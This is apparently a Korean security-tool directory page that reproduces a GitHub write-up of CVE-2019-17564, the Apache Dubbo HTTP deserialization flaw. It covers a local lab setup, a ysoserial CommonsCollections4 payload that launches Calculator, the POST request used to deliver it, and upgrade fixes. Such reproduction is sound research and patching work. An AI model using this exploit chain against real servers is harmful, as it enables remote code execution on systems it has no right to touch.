Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-17564 — CVE-2019-17564:Apache Dubbo 역직렬화 취약점 | Kitploit
도구/GitHubGitHub/fairyming/cve-2019-17564
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationRemote Access ToolPayload Development
GitHubfairyming/cve-2019-17564

CVE-2019-17564

CVE-2019-17564:Apache Dubbo 역직렬화 취약점

저장소 보기
856년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-17564: Apache Dubbo 역직렬화 취약점

0x00 소개

Apache Dubbo는 고성능, 경량급 오픈소스 Java RPC 프레임워크로, 인터페이스 지향 원격 메서드 호출, 지능형 장애 허용(failover) 및 로드 밸런싱, 서비스 자동 등록 및 발견이라는 세 가지 핵심 기능을 제공합니다.

0x01 취약점 개요

Apache Dubbo는 여러 프로토콜을 지원하며, 공식적으로는 Dubbo 프로토콜 사용을 권장합니다. Apache Dubbo HTTP 프로토콜의 역직렬화 취약점(CVE-2019-17564)은 Apache Dubbo가 HTTP 프로토콜을 활성화한 후 메시지 본문을 부적절하게 처리하여 안전하지 않은 역직렬화가 발생하는 것이 주된 원인이며, 프로젝트 패키지에 사용 가능한 gadgets가 존재할 경우 원격 코드 실행으로 이어질 수 있습니다.

0x02 영향을 받는 버전

2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x

0x03 환경 구성

  1. dubbo를 시작하려면 zookeeper에 의존해야 하므로 먼저 zookeeper를 설치합니다.
root@kitploit:~
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# conf 디렉터리의 zoo_sample.cfg 이름을 zoo.cfg로 변경
mv zoo_sample.cfg zoo.cfg
# bin 디렉터리로 이동하여 zookeeper 시작
./zkServer.sh start

WX20200222-171524@2x.png

  1. GitHub에서 dubbo 프로젝트를 가져온 후 pom.xml을 수정합니다.
root@kitploit:~
git clone https://github.com/apache/dubbo-samples
# dubbo-samples-http 디렉터리로 이동하여 pom.xml 수정
vim pom.xml

dubbo 버전을 취약점이 존재하는 버전으로 수정합니다. WX20200222-172028@2x.png 종속성을 추가하여 트리거 가능한 gadgets를 가져옵니다. 여기서는 commons-collections4-4.0을 가져옵니다.

root@kitploit:~
<dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>

WX20200222-172346@2x.png

  1. mvn으로 빌드하고 dubbo를 시작합니다.
root@kitploit:~
mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

WX20200222-172721@2x.png

0x04 취약점 이용

payload

root@kitploit:~
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080

paylaod

여기서는 ysoserial을 사용하여 payload를 생성합니다.

root@kitploit:~
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser

bp로 패킷을 전송합니다. WX20200222-173202@2x.png

0x05 수정 방법

  1. HTTP 프로토콜 비활성화
  2. 2.7.5 이상 버전으로 즉시 업그레이드, 관련 링크: https://github.com/apache/dubbo/releases/tag/dubbo-2.7.5

참고 링크:

https://www.mail-archive.com/[email protected]/msg06225.html

도구 다운로드